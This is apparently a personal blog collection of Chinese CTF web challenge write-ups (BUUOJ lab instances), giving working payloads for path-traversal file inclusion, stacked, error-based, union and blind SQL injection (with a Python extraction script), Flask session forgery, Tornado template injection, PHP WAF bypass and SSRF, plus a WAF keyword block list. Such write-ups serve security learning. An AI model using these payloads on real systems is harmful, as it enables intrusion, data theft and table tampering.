[HCTF 2018]WarmUp

index源码注释叫我们直接访问source.php

直接访问可得到源码

看不懂抄一手


 <?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page) 
        //传入了变量page,也就是我们刚刚传进来的file
            
        {
            // 这里定义了白名单,包括source.php和hint.php
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            
            if (! isset($page) || !is_string($page)) {
            /*为了返回 true 两个条件必须满足
                1 page存在 
                2 page是字符串 ,
                这里和外层的判断file 一致基本是再次判断了一遍*/
                echo "you can't see it";
                return false;
            }
            
            if (in_array($page, $whitelist)) {
                return true;
            }
            /*in_array(search,array,type) 函数搜索数组中是否存在指定的值,
            白名单过滤,需要返回了ture
            所以这里我们传入的page或者是经过截断之后的page必须是soure.php或hint.php,
            这里是正常的访问,我们需要构造文件任意包含,所以这里传入的不满足条件,这里不是注意的点,往下继续看*/
            
            $_page = mb_substr( 
                $page,
                0,
                mb_strpos($page . '?',  '?')
            );
            /*这里mb_substr 是个截断,返回0到mb_strpos之间的内容,而mb_strpos 则是查找第一次出现的位置,所以基本可以理解为获取page 两个?之间的字符串,也就是获取file两个?之间的字符串,放到url中就是http://ip/?file=ddd?中的file=ddd*/    
            
            if (in_array($_page, $whitelist)) { 
                return true;
            }
            //这里和上面类似 查看_page 是否在白名单中
            
            $_page = urldecode($page);  // 这里发现对_page进行了一次decode解码,
            $_page = mb_substr(			//获取两个??之间的内容
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            //先进行url解码再截取,因此我们可以将?经过两次url编码,在服务器端提取参数时解码一次,checkFile函数中解码一次,仍会解码为'?',仍可通过第四个if语句校验。('?'两次编码值为'%253f'),构造url:
            // 这里是我们要绕过的点,从这里往上看 尝试构造
            
            if (in_array($_page, $whitelist)) {//白名单
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }
    /*必须满足if条件,才能包含file,这里也可以猜到可能考的是文件包含: 
        1 REQUEST['file']不为空 
        2 REQUEST['file']是字符串
        3 checkFile($_REQUEST['file']) 为ture,回到checkFile 函数分析如何返回true*/    
?>

考察代码审计,只要能通过checkFile函数就行,这里会获得俩??之间的字符串来判断,所以playload里面得有?hint.php?再然后不知道ffffllllaaaagggg在那个目录,就得路径穿越了,构造../

payload:

http://249c777a-c885-4ab3-bef4-4efb5270da80.node5.buuoj.cn:81/index.php?file=hint.php?../../../../../ffffllllaaaagggg

[SUCTF 2019]EasySQL

sql注入题

后端

select $_POST['query'] || flag from Flag;

payload


1;select *,1

结果就成了


select 1;select *,1 || flag from Flag;

导致堆叠注入输出flag

或者设置SQL_MOD

SQL_MOD:是MySQL支持的基本语法、校验规则
其中PIPES_AS_CONCAT:会将||认为字符串的连接符,而不是或运算符,这时||符号就像concat函数一样。


mysql> set sql_mode=PIPES_AS_CONCAT;
Query OK, 0 rows affected (0.00 sec)

mysql>
mysql> select 1 || 'flag';
+-------------+
| 1 || 'flag' |
+-------------+
| 1flag       |
+-------------+
1 row in set (0.00 sec)

mysql> select 'a' || 'flag';
+---------------+
| 'a' || 'flag' |
+---------------+
| aflag         |
+---------------+
1 row in set (0.00 sec)

payload

1;set sql_mod=PIPES_AS_CONCAT;select 1
插入SQL语句就成为
select concat(1,flag) from Flag;

[强网杯 2019]随便注

考察堆叠注入


';show tables--+

得到表名


';show columns from `1919810931114514`--+

得到flag字段

最后


1'; handler `1919810931114514` open as `a`; handler `a` read next;#

handler


 mysql除可使用select查询表中的数据,也可使用handler语句,这条语句使我们能够一行一行的浏览一个表中的数据,不过handler语句并不具备select语句的所有功能。它是mysql专用的语句,并没有包含到SQL标准中。
1 ';handler (数据表)  open ;handler (数据表) read first;handler (数据表) close; % 23

rename:

修改一个或多个表的名称

RENAME TABLE old_table_name TO new_table_name;

alert:

向表中添加字段

Alter table [表名] add [列名] 类型

保留old和new列名

列名:a ---->b 列类型
   ALTER TABLE t1 CHANGE a b INTEGER;

由于这道题没有禁用rename和alert,所以我们可以采用修改表结构的方法来得到flag 将words表名改为words1,再将数字名表(1919810931114514)改为words,这样数字名表就是默认查询的表了,但是它少了一个id列,可以将flag字段改为id,或者添加id字段

1 %27;rename tables `words` to `words1`;rename tables `1919810931114514` to `words`; alter table `words` change `flag` `id` varchar(100);#

[RoarCTF 2019]Easy Calc


<?php
error_reporting(0);
if(!isset($_GET['num'])){
   show_source(__FILE__);
}else{
       $str = $_GET['num'];
       $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
       foreach ($blacklist as $blackitem) {
               if (preg_match('/' . $blackitem . '/m', $str)) {
                       die("what are you want to do?");
               }
       }
       eval('echo '.$str.';');
}
?>

f12查看源码发现calc.php
传参发现存在waf拦截

利用php特性绕过:

参考

PHP的字符串解析特性

我们知道PHP将查询字符串(在URL或正文中)转换为内部$_GET或的关联数组$_POST。例如:/?foo=bar变成Array([foo] => “bar”)。值得注意的是,查询字符串在解析的过程中会将某些字符删除或用下划线代替。例如,/?%20news[id%00=42会转换为Array([news_id] => 42)。如果一个IDS/IPS或WAF中有一条规则是当news_id参数的值是一个非数字的值则拦截,那么我们就可以用以下语句绕过:

/news.php?%20news[id%00=42"+AND+1=0–

上述PHP语句的参数%20news[id%00的值将存储到$_GET[“news_id”]中。

PHP需要将所有参数转换为有效的变量名,因此在解析查询字符串时,它会做两件事:

1.删除空白符
2.将某些字符转换为下划线(包括空格)

总的来说就是传参前面的空格会被删除,]符号会被替换成_所以传参的时候遇到下划线得用]替代

所以绕过的payload就为
? num=a

列出根目录文件

scandir()

列出目录中的文件和目录

eg: scandir('/')


Array
(
[0] => .
[1] => ..
[2] => cat.gif
[3] => dog.gif
[4] => horse.gif
[5] => myimages
)
Array
(
[0] => myimages
[1] => horse.gif
[2] => dog.gif
[3] => cat.gif
[4] => ..
[5] => .
)

读取文件

var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))`

var_dump()

标准打印数组

file_get_contents()

读取文件

[HCTF 2018]admin

flask session伪造

可以从网页里翻出源码的,但是源码被删了

有了源码就可以在config.py里面找到secret_key找到后就可以加解密了

PS E:\Desktop\ctf\flask-session-cookie-manager-master> python39.exe .\flask_session_cookie_manager3.py decode -c .eJxFkMGKwkAMhl9lydlDO9WL4EEZt7SQKS5TS-Yiaqttp3GhKrYjvvsOLuwecvqS7-fPE3anvrrWML_192oCu6aE-RM-DjAHLBJhOAmQMTQxCnSGydFI-jylFgcS-ejZ4CfKJIWoKSB3jJTnKDFQWtlMf9ZKrx-oy4ZcPmbSjqbwjNPO8Jclt-ow3raZrjvUqxrllpXOIyOtUO0yNJIeRi4HciUrl8wwTgS5tch0EimZtqRX7HcX8JrA8dqfdrdvW13-Kwh_HiczYuX1-QyLzZDF20ZJFEr4mCJlZNMYnXZZsX6YtrS4XLx1De_P1Z8pt9PpYfNLLnv2APYlN5cQJnC_Vv37cRAG8PoBOrNsUg.Zh1BCg._LSyxZCqUDbr3zU2RkUofmHE5PM
b'{"_fresh":true,"_id":{" b":"MWI2ZmI0MmM1ZGM2MzZmYzYyYTg4YjMxY2UyMmMxMmM3ODY1MTY0Yzc3NTg4MDM0NTNkOTFhNTEwMTdiYzUyODkyZWM0NmJlZmRkYzBlMGVjOThlMTBhMDVmNTU3ZDk2NjA1ZDYwZDAxYzdmNzI5MGI2YzE2OTI3NDJjYTBmZDk="},"csrf_token":{" b":"M2YwZGI5YmNlMTU5MWQxOGViNDM2N2U3ZWJmMmZiZTJlOWEwZjdkMA=="},"image":{" b":"Uk44bQ=="},"name":"admin1","user_id":"10"}'

更改admin1为admin后就行
但是有一个很坑的点就是这里用的双引号,但是加密的时候得用单引号,所以要把双引号改成单引号后加密


E:\Desktop\ctf\flask-session-cookie-manager-master>python39.exe flask_session_cookie_manager3.py encode -s ckj123 -t "{'_fresh': True, '_id': b'a964ffdf9ad843337371b754fe4dee5f513139037266dcff517e58e1
e59fd05671c5370244ce3d91eb5b1c44857c213c8de30f4c6d3d604d0724863c8a99a6aa', 'csrf_token': b'd1bffe11dbd467f7d2a1b79345789c2599b72276', 'image': b'1JK4', 'name': 'admin', 'user_id': '10'}"
.eJw9kE9vgkAQR79KM2cO_NELiQeaBWLSGaJZJLsXQhEtuyxtUFNZ43fvahMPc3rJy-_NDerD1J2-ID5Pl86Dut9DfIO3T4hBcB1SLo3MxVJUmwUxtGhbSzbryZa-NO7y3UCVCJDjFa3-dXwmJbUIpSGeRpKXC8mzgfhgJEsCUu1V2NI5kpnYVklOunBcqF2PFfrEjgGFOCMnVeTbAe27oRxDyUiTSnzniFC5LerB02VRpaGo0hXcPWhP06E-f-tufCVIlvUuYECeaWE2Pqm9oXAzC_5I0JZYGRVsUKhKp1o79Tqi4-qp601z7F4mLH8-KPknY2McgGZv-hE8uJy66fk3CHy4_wFvSmyb.Zh1Ggw.UpY4s73R-GH8qEUu6u1i8Ynd_X4

最不理解的一集

[护网杯 2018]easy_tornado

三个文件


/flag.txt
flag in /fllllllllllllag
 
 
/welcome.txt
render
 
 
/hints.txt
md5(cookie_secret+md5(filename))

通过rander可以发现使用的是flask当随意输值后可以发现报错,而且msg存在模板注入,但是这里要获得 cookie_secret
而我们查官方文档,tornado在搭建一个网站时,肯定会有多个handler,而这些handler都是RequestHandler的子类

RequestHandler.settings又指向self.application.settings

所以我们可以说handler.settings指向了RequestHandler.settings了,对吧

这样我们就可以构造一下payload:?msg={{handler.settings}}

于是获得cookie_secret:


{'autoreload': True, 'compiled_template_cache': False, 'cookie_secret': '66d79cfd-d1a2-4d07-a00a-a49d062befe7'}

[极客大挑战 2019]HardSQL

报错注入

extractvalue


'admin '^extractvalue(1,concat(0x5c,(select(database()))))%23

extractvalue(1,concat(0x5c,(select(group_concat(table_name))from(information_schema.tables)where((table_schema)like(database()))),0x5c))%23

extractvalue(1,concat(0x5c,(select(group_concat(column_name))from(information_schema.columns)where(((table_schema)like(database()))and((table_name)like('H4rDsq1')))),0x5c))%23

^extractvalue(1,concat(0x5c,(select(group_concat(password))from(H4rDsq1)),0x5c))%23

被截断

extractvalue(1,concat(0x5c,right((select(group_concat(password))from(H4rDsq1)),32),0x5c))%23

extractvalue(1,concat(0x5c,right((select(group_concat(password))from(H4rDsq1)),20),0x5c))%23

[GXYCTF 2019]BabySQli

参考

先是测试,发现有waf,查看源码发现sql语句


select * from user where username = '$name'

使用union联合注入,发现一共有三个位置

当密码传入的是数组时发现报错,可以确定密码进行了md5加密,当把admin放在第二个位置时,发现提示密码错误,即可猜到三个位置分别为id,username,password
又知道当密码传入是数组时返回NULL,那么我们也可构造密码为NULL从而绕过登录

payload

name=a' union select 1,'admin',NULL #&pw[]=1

[CISCN2019 华北赛区 Day2 Web1]Hack World

先bp爆破哪些关键字被过滤了


`
~
!
@
#
$
%
^
&
*
(
)
-
_
=
+
[
]
{
}
|
\
;
:
'
"
,
.
<
>
/
?
 
--
--+
/**/
&&
||
<>
!(<>)
and
or
xor
if
not
select
sleep
union
from
where
order
by
concat
group
benchmark
length
in
is
as
like
rlike
limit
offset
distinct
perpare
declare
database
schema
information
table
column
mid
left
right
substr
handler
ascii
set
char
hex
updatexml
extractvalue
regexp
floor
having
between
into
join
file
outfile
load_file
create
drop
convert
cast
show
user
pg_sleep
reverse
execute
open
read
first
case
end
then
iconv
greatest

再结合布尔盲注知识写payload

id=0^(ascii(substr((select(flag)from(flag)),2,1))>0)

脚本

import requests

url = "http://80ff8565-6961-45a6-9b90-dbb64f939008.node5.buuoj.cn:81/index.php"
for j in range(1,100):
    for i in range(128,32,-1):
        data={"id":"0^(ascii(substr((select(flag)from(flag)),"+str(j)+",1))>"+str(i)+")"}
        
        quest=requests.post(url,data)
        while(quest.status_code != 200):
            quest=requests.post(url,data)
        if "glzjin" in quest.text:
            print (chr(i+1),end="")
            break

[RoarCTF 2019]Easy Java

点击help发现是文件下载,而且是java开发,把请求改成post(这里好像只能过猜)下载WEB-INF/web.xml造成源码泄露

[网鼎杯 2018]Fakebook

扫目录发现/robots.txt
发现备份文件

有一个UserInfo的类,类中有三个公共的类变量:name,age,blog。一个构造方法,一个get方法。主要的工作应该是建立会话,

然后判断是否是有效的请求,如果不是则返回404,如果不是则返回url的内容,一个getBlogContents方法,返回一个url的内容

还有一个isValidBlog验证这是否是一个有效的blog地址,看大佬博客说,这段正则好像url中有.就可以匹配。

get方法中,curl_exec()如果使用不当就会导致ssrf漏洞。有一点思路了,而我们在御剑扫到了flag.php。猜测可能flag.php处于内网,

如果用ssrf访问flag.php,可以用伪协议`file://var/www/html/flag.php`访问。

后面就是正常的sql注入,数字型的,union被过滤了,绕过方法是union/**/select

爆破出来是序列化字符串,把网页改成file://var/www/html/flag.php也可得到flag.php


一个好奇的人